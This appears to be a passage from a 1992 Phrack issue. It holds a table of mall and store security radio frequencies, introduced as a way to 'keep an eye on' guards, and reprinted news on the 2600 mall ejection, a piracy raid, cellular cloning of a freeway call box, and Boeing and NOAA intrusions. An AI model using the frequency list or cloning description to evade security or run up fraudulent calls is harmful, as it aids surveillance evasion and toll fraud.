Living in America, one can easily and falsely assume that there really is a Bill of Rights. On November 6, 1992, the right to peaceably gather was suspended. Even though the U.S. Supreme Court ruled that shopping malls are "public meeting places" and not private property, it doesn't make a damn bit of difference to pigs. So here is a little information that may help you keep an eye on them while they are so preoccupied with us.

If your shopping mall is not listed below, try scanning (MHz):

151.625 to 151.955 154.515 to 154.60 457.5125 to 457.6125 460.65 to 462.1875 462.75 to 462.775 463.20 to 464.9875 465.65 to 467.1875 467.75 to 467.925 468.20 to 469.975 851.0125 to 865.9875

Following the shopping mall list is a list of nationwide stores and their security frequencies.

_______________________________________

/ ST City Mall Freq. MHz \

|=======================================

| AK | Anchorage | Northway Mall | 461.775 |

| AL | Birmingham | Century Plaza | 464.875 |

| AL | Mobile | Belair Mall | 464.875 |

| AL | Montgomery | Montgomery Mall | 466.0625 |

| AZ | Phoenix | Metrocenter | 464.475 |

| AZ | Phoenix | Paradise Valley Mall | 464.375 |

| AZ | Tucson | Foothills Mall | 464.575 |

| CA | Bakersfield | Valley Plaza Shop Cent| 154.57 |

| CA | Canoga Park | Topanga Plaza | 154.54 |

| CA | Los Angeles | Century City Center | 461.025 |

| CA | Oxnard | Center Points Mall | 464.475 |

| CA | San Francisco | Embarcardero Center | 854.8375 |

| CO | Boulder | Crossroads Mall | 468.7875 |

| CO | Denver | Laksie Mall | 464.375 |

| CT | Hartford | Northeast Plaza | 464.375 |

| | | 464.675 |

| | | 464.80 |

| | | 464.95 |

| CT | Danbury | Fair Mall | 464.675 |

| DC | Washington | Montgomery Mall | 463.25 |

| DC | Washington | Renaissance Plaza | 463.375 |

| FL | Jacksonville | Gateway Mall | 461.025 |

| FL | Miami | South Date Plaza | 461.675 |

| FL | Ft. Charlotte | South Port Square | 154.54 |

| FL | Tallahassee | Tallahassee Mall | 461.20 |

| | | 463.60 |

| FL | Tampa | W. Shore Plaza | 461.9125 |

| GA | Atlanta | Piedmont Center | 464.525 |

| | | 464.5875 |

| GA | Atlanta | Peachtree Center | 461.825 |

| HI | Pearl City | Century Park Plaza | 464.225 |

| IA | Des Moines | Merel Hay Mall | 154.54 |

| | | 154.57 |

| IA | West Burlington | Southridge Mall | 464.675 |

| IL | Springfield | The Center | 464.925 |

| IL | Chicago | Ford City Center | 464.775 |

| | | 464.975 |

| IL | Aurora | Fox Valley Center | 464.675 |

| IN | Ft. Wayne | Glenbrook Square | 464.575 |

| | | 464.875 |

| IN | Indianapolis | Lafayette Square | 461.025 |

| KS | Manhattan | Manhattan Tower Center| 463.525 |

| KS | Kansas City | Bannister Mall | 464.575 |

| | | 464.675 |

| KY | Lexington | Fayette Mall | 462.1125 |

| KY | Louisville | Oxmoor Center | 464.8125 |

| LA | New Orleans | World Trade Center | 463.25 |

| LA | Shreveport | Mall St. Vincent | 464.675 |

| MA | North Attleboro | Emerald Square Mall | 461.725 |

| MA | Boston | World Trade Center | 461.9125 |

| | | 461.9375 |

| | | 461.9625 |

| | | 462.1625 |

| | | 464.80 |

| MA | Boston | Copley Plaza | 154.60 |

| MA | Watertown | Arsenal Mall | 464.95 |

| MD | Baltimore | Eastpoint Mall | 151.805 |

| MD | Greenbelt | Beltway Plaza Mall | 151.925 |

| MI | Ann Arbor | Briarwood Mall | 462.05 |

| | | 462.575 |

| MI | Detroit | Renaissance Center | 151.955 |

| | | 462.60 |

| | | 462.7625 |

| MI | Grand Rapids | Woodland Center | 464.475 |

| | | 464.5375 |

| MN | Rochester | Center Place | 464.475 |

| | | 464.5375 |

| MO | Kansas City | Banister Mall | 464.575 |

| | | 464.675 |

| MO | St. Louis | Galleria | 461.9125 |

| | | 462.0875 |

| | | 462.8625 |

| MS | Tupelo | Mall @ Barnes Cross | 464.60 |

| MT | Billings | West Park Plaza | 464.775 |

| NC | Raleigh | North Hills Mall | 464.575 |

| NC | Wilmington | Independence Mall | 464.7875 |

| ND | Great Forks | Columbia Mall | 463.60 |

| NE | Freendale | Southridge Mall | 464.525 |

| NE | North Platte | The Mall | 461.425 |

| NH | Newington | Foxrun Mall | 463.975 |

| | | 464.225 |

| NH | Nashua | Pheasant Lane Mall | 464.95 |

| NJ | Atlantic City | Ocean One Mall | 461.90 |

| NJ | Short Hills | Mall @ Short Hills | 464.825 |

| NJ | New Brunswick | Fashion Plaza | 464.475 |

| NV | Reno | Park Lane Mall | 464.05 |

| NY | Colonie | Northway Mall | 461.6875 |

| NY | Mineola | Roosevelt Field | 462.725 |

| NY | Massapequa | Sunrise Mall | 151.865 |

| | | 464.465 |

| NY | Mt. Vernon | Cross Country Center | 154.57 |

| | | 154.60 |

| NY | New York | Gateway Plaza | 464.825 |

| NY | Lake Grove | Smithaven Mall | 154.60 |

| OH | Columbus | Northland Mall | 463.625 |

| | | 464.925 |

| OH | Cleveland | Randall Park | 461.425 |

| OH | Youngstown | Southern Park Mall | 461.50 |

| OK | Broken Arrow | Woodland Hills Mall | 461.075 |

| | | 469.675 |

| OK | Oklahoma City | North Park Mall | 464.7875 |

| OR | Eugene | Gateway Mall | 461.125 |

| OR | Portland | Washington Square Mall| 464.475 |

| PA | Media | Granite Run Mall | 464.325 |

| PA | Pittsburgh | Century III | 464.325 |

| | | 464.375 |

| | | 464.975 |

| PA | Pittsburgh | Parkway Center Mall | 464.6875 |

| RI | Newport | Mall @ Newport | 461.575 |

| SC | Columbia | Columbia Mall | 462.1125 |

| SC | Spartanburg | Westgate Mall | 151.955 |

| TN | Knoxville | East Town Mall | 463.3375 |

| TN | Memphis | Mall of Memphis | 464.975 |

| TN | Nashville | Bellevue Center | 464.825 |

| TX | San Antonio | Wonderland Mall | 467.875 |

| | | 469.9125 |

| TX | Dallas | World Trade Center | 464.375 |

| | | 464.875 |

| TX | Fort Worth | Plaza Forth Worth | 461.85 |

| | | 464.55 |

| TX | Houston | West Oaks Mall | 462.1125 |

| | | 464.3875 |

| | | 464.4875 |

| UT | Salt Lake City | Crossroads Plaza | 464.825 |

| | | 464.975 |

| | | 464.9875 |

| VA | Colonial Heights | Southpark Mall | 855.5625 |

| VA | Hampton | Coliseum Mall | 464.30 |

| VA | Portsmouth | Tower Mall | 464.675 |

| WI | Milwaukee | Southgate Mall | 464.725 |

| | | 464.8875 |

| WV | Vienna | Grand Central Mall | 151.835 |

| WY | Cheyenne | Frontier Mall | 464.5125 |

\_______________________________________

_______________________________________

/ |

| J.C. Penny's | 154.57, 154.60, 461.6125, 461.9375, |

| | 464.50, 464.55 |

| K‑Mart | 154.57, 154.60, 457.5375, 457.5875, |

| | 461.3125,463.9125 |

| Montgomery Ward| 467.8125 |

| Sears | 154.57, 454.50, 464.55 |

| Toys R Us | 461.7375, 461.9625, 463.7875, 464.9625 |

| Wal‑Mart | 151.625, 467.7625, 467.75, 467.775 |

| | 467.80, 467.825, 467.85, 467.875, 467.90|

| Zayre | 461.0125, 463.4125 |

PWN/Part 1

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 11 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue 41 / Part 1 of 3 PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Reports of "Raid" on 2600 Washington Meeting November 9, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Barbara E. McMullen & John F. McMullen (Newsbytes)

WASHINGTON, D.C. ‑‑ The publisher of a well‑known hacker magazine claims a recent meeting attended by those interested in the issues his magazine raises was disrupted by threats of arrest by security and Arlington, Virginia police officers.

Eric Corley, also known as "Emmanuel Goldstein," editor and publisher of "2600 Magazine: The Hacker Quarterly," told Newsbytes that the meeting was held November 6th at the Pentagon City Mall outside Washington, DC was disrupted and material was confiscated in the raid.

2600 Magazine promotes monthly meetings of hackers, press, and other interested parties throughout the country. The meetings are held in public locations on the first Friday evening of the month and the groups often contact each other by telephone during the meetings.

Corley told Newsbytes that meetings were held that evening in New York, Washington, Philadelphia, Cambridge, St. Louis, Chicago, Los Angeles and San Francisco. Corley said, "While I am sure that meetings have been observed by law enforcement agencies, this is the only time that we have been harassed. It is definitely a freedom of speech issue."

According to Craig Neidorf, who was present at the meeting and was distributing applications for membership in Computer Professionals For Social Responsibility (CPSR), "I saw the security officers focusing on us. Then they started to come toward us from a number of directions under what seemed to be the direction of a person with a walkie‑talkie on a balcony. When they approached, I left the group and observed the security personnel encircling the group of about 30 gatherers. The group was mainly composed of high school and college students. The guards demanded to search the knapsacks and bags of the gatherers. They confiscated material, including CPSR applications, a copy of Mondo 2000 (a magazine), and other material."

He adds that the guards also confiscated film "from a person trying to take pictures of the guards. When a hacker called "HackRat" attempted to copy down the names of the guards, they took his pencil and paper."

Neidorf continued, "I left to go outside and rejoined the group when they were ejected from the mall. The guards continued challenging the group and told them that they would be arrested if they returned. When one of the people began to take pictures of the guards, the apparent supervisor became excited and threatening but did not confiscate the film."

Neidorf also said, "I think that the raid was planned. They hit right about 6:00 and they identified our group as "hackers" and said that they knew that this group met every month."

Neidorf's story was supported by a Washington "hacker" called "Inhuman," who told Newsbytes, "I arrived at the meeting late and saw the group being detained by the guards. I walked along with the group as they were being ushered out and when I asked a person who seemed to be in authority his name, he pointed at a badge with his name written in script on it. I couldn't make out the name and, when I mentioned that to the person, he said 'If you can't read it, too bad.' I did read his name, 'C. Thomas,' from another badge."

Inhuman also told Newsbytes that he was told by a number of people that the guards said that they were "acting on behalf of the Secret Service." He added, "I was also told that there were two police officers from the Arlington County Police present but I did not see them."

Another attendee, Doug Luce, reports, "I also got to the DC meeting very late; 7:45 or so. It seemed like a coordinated harassment episode, not geared toward busting anyone, but designed to get people riled up, and maybe not come back to the mall."

Luce adds that he overheard a conversation between someone who had brought a keyboard to sell. The person, he said, was harassed by security forces, one of whom said, "You aren't selling anything in my mall without a vendors permit!"

Possible Secret Service involvement was supported by a 19 year‑old college student known as the "Lithium Bandit," who told Newsbytes, "I got to the mall about 6:15 and saw the group being detained by approximately 5 Arlington County police and 5 security guards. When I walked over to see what was going on, a security guard asked me for an ID and I refused to show it, saying that I was about to leave. The guard said that I couldn't leave and told me that I had to see a police officer. When I did, the officer demanded ID and, when I once again refused, he informed me that I could be detained for up to 10 hours for refusing to produce identification. I gave in and produced my school ID which the police gave to the security people who copied down my name and social security number."

Lithium Bandit continued, "When I asked the police what was behind this action, I was told that they couldn't answer but that 'the Secret Service is involved and we are within our rights doing this."

The boy says he and others later went to the Arlington police station to get more information and were told only that there was a report of the use of a stolen credit card and two officers were sent to investigate. "They later admitted that it was 5 (officers). While I was detained, I heard no mention of a credit card and there was no one arrested."

Marc Rotenberg, director of CPSR's Washington office, told Newsbytes, "I have really no details on the incident yet, but I am very concerned about the reports. Confiscation of CPSR applications, if true, is outrageous. I will find out more facts on Monday."

Newsbytes was told by the Pentagon City Mall office that any information concerning the action would have to come from the director of security, Al Johnson, who was not available until Monday. The Arlington Country Police referred Newsbytes to a "press briefing recording" which had not been updated since the morning before the incident.

Corley told Newsbytes, "There have been no reports of misbehavior by any of these people. They were obviously singled out because they were hackers. It's as if they were being singled out as an ethnic group. I admire the way the group responded ‑‑ in a courteous fashion. But it is inexcusable that it happened. I will be at the next Washington meeting to insure that it doesn't happen again."

The manager of one of New York state's largest malls provided background information to Newsbytes on the rights of malls to police those on mall property, saying, "The primary purpose of a mall is to sell. The interior of the mall is private property and is subject to the regulations of the mall. The only requirement is that the regulations be enforced in an even‑handed manner. I do not allow political activities in my mall so I could not make an exception for Democrats. We do allow community groups to meet but they must request space at least two weeks before the meeting and must have proper insurance. Our regulations also say that groups of more than 4 may not congregate in the mall."

The spokeswoman added that mall security can ask for identification from those who violate regulations and that they may be barred from the mall for a period of 6 months.

She added, "Some people feel that mall atriums and food courts are public space. They are not and the industry is united on this. If the malls were to receive tax benefits for the common space and public service in snow removal and the like, it could possibly be a public area but malls are taxed on the entire space and are totally private property, subject to their own regulations. If a group of 20 or more congregated in my mall, they would be asked to leave."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Confusion About Secret Service Role In 2600 Washington Raid November 7, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Barbara E. McMullen & John F. McMullen (Newsbytes)

WASHINGTON, D.C.‑‑ In the aftermath of an action on Friday, November 6th by members of the Pentagon City Mall Police and police from Arlington County, Virginia in which those attending a 2600 meeting at the mall were ordered from the premises, conflicting stories continue to appear.

Attendees at the meeting have contended to Newsbytes that members of the mall police told them that they were "acting on behalf of the Secret Service." They also maintain that the mall police confiscated material from knapsacks and took film from someone attempting to photograph the action and a list of the names of security officers that one attendee was attempting to compile.

Al Johnson, chief of security for the mall, denied these allegations to Newsbytes, saying "No one said that we were acting on behalf of the Secret Service. We were merely enforcing our regulations. While the group was not disruptive, it had pulled tables together and was having a meeting in our food court area. The food court is for people eating and is not for meetings. We therefore asked the people to leave."

Johnson denied that security personnel took away any film or lists and further said "We did not confiscate any material. The group refused to own up to who owned material on the tables and in the vicinity so we collected it as lost material. If it turns out that anything did belong to any of those people, they are welcome to come in and, after making proper identification, take the material."

In a conversation early on November 9th, Robert Rasor, Secret Service agent‑incharge of computer crime investigations, told Newsbytes that having mall security forces represent the Secret Service is not something that was done and, that to his knowledge, the Secret Service had no involvement with any Pentagon City mall actions on the previous Friday.

A Newsbytes call to the Arlington County police was returned by a Detective Nuneville who said that her instructions were to refer all questions concerning the matter to agent David Adams of the Secret Service. She told Newsbytes that Adams would be providing all information concerning the involvement of both the Arlington Police and the Secret Service in the incident.

Adams told Newsbytes "The mall police were not acting as agents for the Secret Service. Beyond that, I can not confirm or deny that there is an ongoing investigation."

Adams also told Newsbytes that "While I cannot speak for the Arlington police, I understand that their involvement was due to an incident unrelated to the investigation."

Marc Rotenberg, director of the Washington office of Computer Professionals for Social Responsibility (CPSR), told Newsbytes "CPSR has reason to believe that the detention of people at the Pentagon City Mall last Friday was undertaken at the behest of the Secret Service, which is a federal agency. If that is the case, then there was an illegal search of people at the mall. There was no warrant and no indication of probable illegal activity. This raises constitutional issues. We have undertaken the filing of a Freedom of Information Act (FOIA) request to determine the scope, involvement and purpose of the Secret Service in this action."

2600 meetings are held on the evening of the first Friday of each month in public places and malls in New York City, Washington, Philadelphia, Cambridge, St. Louis, Chicago, Los Angeles and San Francisco. They are promoted by 2600 Magazine: The Hacker Quarterly and are attended by a variety of persons interested in telecommunications and so‑called "hacker issues". The New York meeting, the oldest of its kind, is regularly attended by Eric Corley a/k/a Emmanuel Goldstein, editor and publisher of 2600, hackers, journalists, corporate communications professionals and other interested parties. It is known to have been the subject of surveillance at various times by law enforcement agencies conducting investigations into allegations of computer crime.

Corley told Newsbytes "While I'm sure that meetings have been observed by law enforcement agencies, this is the only time that we have been harassed. It's definitely a freedom of speech issue." Corley also that he plans to be at the December meeting in Washington "to insure that it doesn't happen again."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Conflicting Stories In 2600 Raid; CRSR Files FOIA November 11, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Barbara E. McMullen & John F. McMullen (Newsbytes)

WASHINGTON, D.C. ‑‑ In the on‑going investigation of possible Secret Service involvement in the Friday, November 6th ejection of attendees at a "2600 meeting" from the premises of the Pentagon City Mall, diametrically opposed statements have come from the same source.

Al Johnson, chief of security for the Pentagon City Mall told Newsbytes on Monday, November 9th "No one said that we were acting on behalf of the Secret Service. We were merely enforcing our regulations. While the group was not disruptive, it had pulled tables together and was having a meeting in our food court area. The food court is for people eating and is not for meetings. We therefore asked the people to leave."

On the same day, Johnson was quoted was quoted in a Communications Daily article by Brock Meeks as saying "As far as I'm concerned, we're out of this. The Secret Service, the FBI, they're the ones that ramrodded this whole thing."

Newsbytes contacted Meeks to discuss the discrepancies in the stories and were informed that the conversation with Johnson had been taped and was available for review. The Newsbytes reporter listened to the tape (and reviewed a transcript). On the tape, Johnson was clearly heard to make the statement quoted by Meeks.

He also said "maybe you outta call the Secret Service, they're handling this whole thing. We, we were just here", and, in response to a Meeks question about a Secret Service contact, "Ah.. you know, I don't have a contact person. These people were working on their own, undercover, we never got any names, but they definitely, we saw identification, they were here."

Newsbytes contacted Johnson again on the morning of Wednesday, November 11 and asked him once again whether there was any Secret Service involvement in the action. Johnson said "No, I told you that they were not involved." When it was mentioned that there was a story in Communications Daily, quoting him to the contrary, Johnson said "I never told Meeks that. There was no Secret Service involvement"

Informed of the possible existence of a tape quoting him to the contrary. Johnson said "Meeks taped me? He can't do that. I'll show him that I'm not fooling around. I'll have him arrested."

Johnson also said "He asked me if the Secret Service was involved; I just told him that, if he thought they were, he should call them and ask them."

Then Johnson again told Newsbytes that the incident was "just a mall problem. There were too many people congregating."

[NOTE: Newsbytes stands by its accurate reporting of Johnson's statements. It also affirms that the story by Meeks accurately reflects the material taped during his interview]

In a related matter, Marc Rotenberg, director of the Washington office of Computer Professionals For Social Responsibility (CPSR) has announced that CPSR has filed a Freedom of Information Act (FOIA) request with the Secret Service asking for information concerning Secret Service involvement in the incident.

Rotenberg told Newsbytes that the Secret Service has 10 days to respond to the request. He also said that CPSR "is exploring other legal options in this matter."

The Secret Service, in earlier conversations with Newsbytes, has denied that the mall security was working on its behalf.

In the incident itself, a group attending the informal meeting was disbanded and, according to attendees, had property confiscated. They also contend that security guards took film from someone photographing the confiscation as well as a list that someone was making of the guard's names. In his November 9th conversation with Newsbytes, Johnson denied that security personnel took away any film or lists and further said "We did not confiscate any material. The group refused to own up to who owned material on the tables and in the vicinity so we collected it as lost material. If it turns out that anything did belong to any of those people, they are welcome to come in and, after making proper identification, take the material."

2600 meetings are promoted by 2600 Magazine: The Hacker Quarterly and are held on the evening of the first Friday of each month in public places and malls in New York City, Washington, Philadelphia, Cambridge, St. Louis, Chicago, Los Angeles and San Francisco. They are regularly attended by a variety of persons interested in telecommunications and so‑called "hacker issues".

________________________________________

Secret Service Grabs Computers In College Raid December 17, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Joe Abernathy (The Houston Chronicle)(Page A37)

The Secret Service has raided a dorm room at Texas Tech University, seizing the computers of two Houston‑area students who allegedly used an international computer network to steal computer software.

Agents refused to release the names of the two area men and a third man, a former Tech student from Austin, who were not arrested in the late‑morning raid Monday at the university in Lubbock. Their cases will be presented to a grand jury in January.

The three, in their early 20s, are expected to be charged with computer crime, interstate transport of stolen property and copyright infringements.

"The university detected it," said Agent R. David Freriks of the Secret Service office in Dallas, which handled the case. He said Texas Tech computer system operators noticed personal credit information mixed in with the software mysteriously filling up their data storage devices.

The former student admitted pirating at least $6,000 worth of games and programs this summer, Freriks said.

The raid is the first to fall under a much broader felony definition of computer software piracy that could affect many Americans.

Agents allege the three used the Internet computer network, which connects up to 15 million people in more than 40 nations, to make contacts with whom they could trade pirated software. The software was transferred over the network, into Texas Tech's computers and eventually into their personal computers.

The Software Publishers Association, a software industry group chartered to fight piracy, contends the industry lost $1.2 billion in sales in 1991 to pirates.

Although these figures are widely questioned for their accuracy, piracy is widespread among Houston's 450‑plus computer bulletin boards, and even more so on the global Internet.

"There are a lot of underground sites on the Internet run by university system administrators, and they have tons of pirated software available to download ‑gigabytes of software," said Scott Chasin, a former computer hacker who is now a computer security consultant.

Freriks said the investigation falls under a revision of the copyright laws that allows felony charges to be brought against anyone who trades more than 10 pieces of copyrighted software ‑‑ a threshold that would cover many millions of Americans who may trade copies of computer programs with their friends.

"The ink is barely dry on the amendment, and you've already got law enforcement in there, guns blazing, because somebody's got a dozen copies of stolen software," said Marc Rotenberg, director of Computer Professionals for Social Responsibility, in Washington.

"That was a bad provision when it was passed, and was considered bad for precisely this reason, giving a justification for over‑reaching by law enforcement."

Freriks said the raid also involved one of the first uses of an expanded right to confiscate computers used in crime.

"Our biggest complaint has been that you catch 'em and slap 'em on the wrist, and then give the smoking gun back," he said.

"So they've changed the law so that we now have forfeiture authority."

The Secret Service already has been under fire for what is seen by civil libertarians as an overly casual use of such authority, which many believe has mutated from an investigative tool into a de facto punishment without adequate court supervision.

________________________________________

Hacker Taps Into Freeway Call Box ‑‑ 11,733 Times October 23, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Jeffrey A. Perlman (Los Angeles Times)(Page A3)

SANTA ANA, CA ‑‑ An enterprising hacker reached out and touched someone 11,733 times in August ‑‑ from a freeway emergency call box in Orange County.

A computer that monitors the county's emergency call boxes attributed 25,875 minutes of calls to the mysterious caller who telephoned people in countries across the globe, according to a staff report prepared for the Orange County Transportation Authority.

"This is well over the average of roughly 10 calls per call box," the report noted.

About 1,150 bright yellow call boxes have been placed along Orange County's freeways to connect stranded motorists to the California Highway Patrol. But the caller charged all his calls to a single box on the shoulder of the Orange (57) Freeway.

The hacker apparently matched the individual electronic serial number for the call box to its telephone number. It took an investigation by the transit authority, and three cellular communications firms to unravel the mystery, the report stated.

Officials with the transit authority's emergency call box program were not available to comment on the cost of the phone calls or to say how they would be paid.

But the report assured that "action has been taken to correct this problem. It should be noted that this is the first incident of this type in the five‑year history of the program."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Ring May Be Responsible For Freeway Call Box Scam October 24, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Jodi Wilgoren (Los Angeles Times)(Page B4)

"Officials Believe A Hacker Sold Information to Others; LA Cellular Will Pay For The Excess Calls."

COSTA MESA, CA ‑‑ As soon as he saw the August bill for Orange County's freeway call boxes, analyst Dana McClure guessed something was awry.

There are typically about 12,000 calls a month from the 1,150 yellow boxes that dot the county's freeways. But in August, there were nearly that many registered to a single box on the Orange Freeway a half‑mile north of Lambert Road in Brea.

"This one stood out, like 'Whoa!'" said McClure, who analyzes the monthly computer billing tapes for the Orange County Transportation Authority. "It kicked out as an error because the number of minutes was so far over what it is supposed to be."

With help from experts at LA Cellular, which provides the telephone service for the boxes, and GTE Cellular, which maintains the phones, McClure and OCTA officials determined that the calls ‑‑ 11,733 of them totaling 25,875 minutes for a charge of about $1,600 ‑‑ were made because the hacker learned the code and telephone number for the call boxes.

Because of the number of calls in just one month's time, officials believe there are many culprits, perhaps a ring of people who bought the numbers from the person who cracked the system.

You'd have to talk day and night for 17 or 18 days to do that; it'd be fantastic to be able to make that many calls," said Lee Johnson of GTE Cellular.

As with all cases in which customers prove they did not make the calls on their bills, LA Cellular will pick up the tab, company spokeswoman Gail Pomerantz said. Despite the amount of time involved, the bill was only $1,600, according to OCTA spokeswoman Elaine Beno, because the county gets a special emergency service rate for the call box lines.

The OCTA will not spend time and money investigating who made the calls; however, it has adjusted the system to prevent further fraud. Jim Goode of LA Cellular said such abuses are rare among cellular subscribers, and that such have never before been tracked to freeway call boxes.

The call boxes contain solar cellular phones programmed to dial directly to the California Highway Patrol or a to a GTE Cellular maintenance line. The calls on the August bill included 800 numbers and 411 information calls and hundreds of calls to financial firms in New York, Chicago and Los Angeles. That calls were placed to these outside lines indicates that the intruders made the connections from another cellular phone rather than from the call box itself. Each cellular phone is assigned a seven‑digit Mobile Identification Number that functions like a phone number, and a 10‑ or 11‑digit Electronic Service Number unique to that particular phone (similar to the vehicle identification number assigned every automobile). By reprogramming another cellular phone with the MIN and ESN of the call box phone, a hacker could charge all sorts of calls to the OCTA.

"That's not legally allowable, and it's not an easy thing to do," McClure said, explaining that the numbers are kept secret and that reprogramming a cellular phone could wreck it. "Most people don't know how to do that, but there are some."

Everyone involved with the call box system is confident that the problem has been solved, but officials are mum as to how they blocked potential cellular banditry.

"I don't think we can tell you what we did to fix it because we don't want it to happen again," Beno said with a laugh.

________________________________________

FBI Probes Possible Boeing Computer Hacker November 6, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Reuters

SEATTLE ‑‑ Federal authorities said Friday they were investigating the possibility that a hacker had breached security and invaded a Unix‑based computer system at the aerospace giant Boeing Co.

The Federal Bureau of Investigation confirmed the probe after a Seattle radio station reported it received a facsimile of a Boeing memorandum warning employees the security of one of its computer networks may have been violated.

The memo, which had been sent from inside Boeing, said passwords may have been compromised, a reporter for the KIRO station told Reuters.

KIRO declined to release a copy of the memorandum or to further identify its source.

The memorandum said the problem involved computers using Unix, the open‑ended operating system used often in engineering work.

Sherry Nebel, a spokeswoman at Boeing's corporate headquarters, declined comment on the memorandum or the alleged breach of security and referred all calls to the FBI.

An FBI spokesman said the agency was in touch with the company and would discuss with it possible breaches of federal law.

No information was immediately available on what type of computer systems may have been violated at Boeing, the world's largest commercial aircraft manufacturer.

The company, in addition, acts as a defense contractor and its business includes work on the B‑2 stealth bomber, NASA's space station and the "Star Wars" project.

Boeing is a major user of computer technology and runs a computer services group valued at $1 billion.

Much of the company's engineering work is conducted using computer ‑aided design (CAD) capabilities. Boeing currently is pioneering a computerized technique which uses 2,000 computer terminals to design its new 777 twinjet.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

FBI Expands Boeing Computer Hacker Probe November 9, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Samuel Perry (Reuters)

SEATTLE ‑‑ Federal authorities expanded their investigation of a computer hacker or hackers suspected of having invaded a computer system at aerospace giant and defense contractor Boeing Co.

FBI spokesman Dave Hill said the investigation was expanded after the agency discovered similar infiltrations of computer records belonging to the U.S. District Court in Seattle and another government agency.

"We're trying to determine if the same individuals are involved here," he said, adding more than one suspect may be involved and the purpose of the intrusion was unclear.

"We don't think this was an espionage case," Hill said, adding federal agents were looking into violations of U.S. law barring breaking into a computer of federal interest, but that no government classified data was believed to be compromised.

"I'm not sure what their motivation is," he told Reuters.

The FBI confirmed the investigation after a Seattle radio station reported it received a facsimile of a Boeing memorandum warning employees that the security of one of its computer networks may have been violated.

A news reporter at KIRO Radio, which declined to release the facsimile, said it was sent by someone within Boeing and that it said many passwords may have been compromised.

Boeing's corporate headquarters has declined to comment on the matter, referring all calls to the FBI.

The huge aerospace company, which is the world's largest maker of commercial jetliners, relies heavily on computer processing to design and manufacture its products. Its data processing arm operates $1.6 billion of computer equipment.

No information was disclosed on what system at Boeing had been compromised. But one computer industry official said it could include "applications involving some competitive situations in the aerospace industry.

The company is a defense contractor or subcontractor on major U.S. military programs, such as the B‑2 stealth bomber, the advanced tactical fighter, helicopters, the NASA space station and the "Star Wars" missile defense system.

Recently, Boeing has pioneered the unprecedented use of computer‑aided design capabilities in engineering its new 777 twinjet. The design of the 777 is now mostly complete as Boeing prepares for final assembly beginning next year.

That system, which uses three‑dimensional graphics to replace a draftsman's pencil and paper, includes 2,000 terminals that can tap into data from around the world.

________________________________________

Hacker Breaches NOAA Net August 3, 1992

~~~~~~~~~~~~~~~~~~~~~~~~

by Kevin Power (Government Computer News)(Page 10)

As a recent breach of the National Oceanic and Atmospheric Administration's (NOAA) link to the Internet shows, the network not only benefits scientists but also attracts unwanted attention from hackers.

NOAA officials said an intruder in May accessed the agency's TCP/IP network, seeking to obtain access to the Internet. The breach occurred on the National Weather Service headquarters' dial‑in communications server in Silver Spring, Maryland, said Harold Whitt, a senior telecommunications engineer with NOAA.

Cygnus Support, a Palo Alto, California, software company, alerted NOAA officials to the local area network security breach when Cygnus found that an outsider had accessed one of its servers from the NOAA modem pool and had attempted several long‑distance phone calls.

NOAA and Cygnus officials concluded that the perpetrator was searching for an Internet host, possibly to locate a games publisher, Whitt said. Fortunately, the hacker did no damage to NOAA's data files, he said.

Whitt said intruders using a modem pool to tap into external networks are always a security concern. But organizations with Internet access seem to be hacker favorites, he said. "There's a lot of need for Internet security," Whitt said.

"You have to make sure you monitor the usage of the TCP/IP network and the administration of the local host. It's a common problem, but in our case we're more vulnerable because of tremendous Internet access," Whitt said.

Whitt said NOAA's first response was to terminate all dial‑in services temporarily and change all the numbers.

Whitt said he also considered installing a caller‑identification device for the new lines. But the phone companies have limited capabilities to investigate random incidents, he said.

"It's very difficult to isolate problems at the protocol level," Whitt said. "We targeted the calls geographically to the Midwest.

"But once you get into the Internet and have an understanding of TCP/IP, you can just about go anywhere," Whitt said.

NOAA, a Commerce Department agency, has since instituted stronger password controls and installed a commercial dial‑back security system, Defender from Digital Pathways Inc. of Mountain View, California.

Whitt said the new system requires users to undergo password validation at dial time and calls back users to synchronize modems and log calls. Despite these corrective measures, Reed Phillips, Commerce's IRM director, said the NOAA incident underlies the axiom that networks always should be considered insecure.

At the recent annual conference of the Federation of Government Information Processing Councils in New Orleans, Phillips said the government is struggling to transmit more information electronically and still maintain control over the data.

Phillips said agencies are plagued by user complacency, a lack of organizational control, viruses, LAN failures and increasing demands for electronic commerce. "I'm amazed that there are managers who believe their electronic‑mail systems are secure," Phillps said. "We provide a great deal of security, but it can be interrupted.

"Security always gets hits hard in the budget. But the good news is vendors recognize our needs and are coming out with cheaper security tools," Phillips said.

Phillips said the NOAA attack shows that agencies must safeguard a network's physical points because LANs present more security problems than centralized systems.

"The perpetrator can dial in via a modem using the common services provided by the telephone company, and the perpetrator risks no personal physical harm. By gaining access to a single system on the network the perpetrator is then able to propagate his access rights to multiple systems on the network," Phillips said.

"In many LAN environments a user need only log on the network once and all subsequent access is assumed to be authorized for the entire LAN. It then becomes virtually impossible for a network manager or security manager to track events of a perpetrator," he said.

________________________________________

Hackers Scan Airwaves For Conversations August 17, 1992

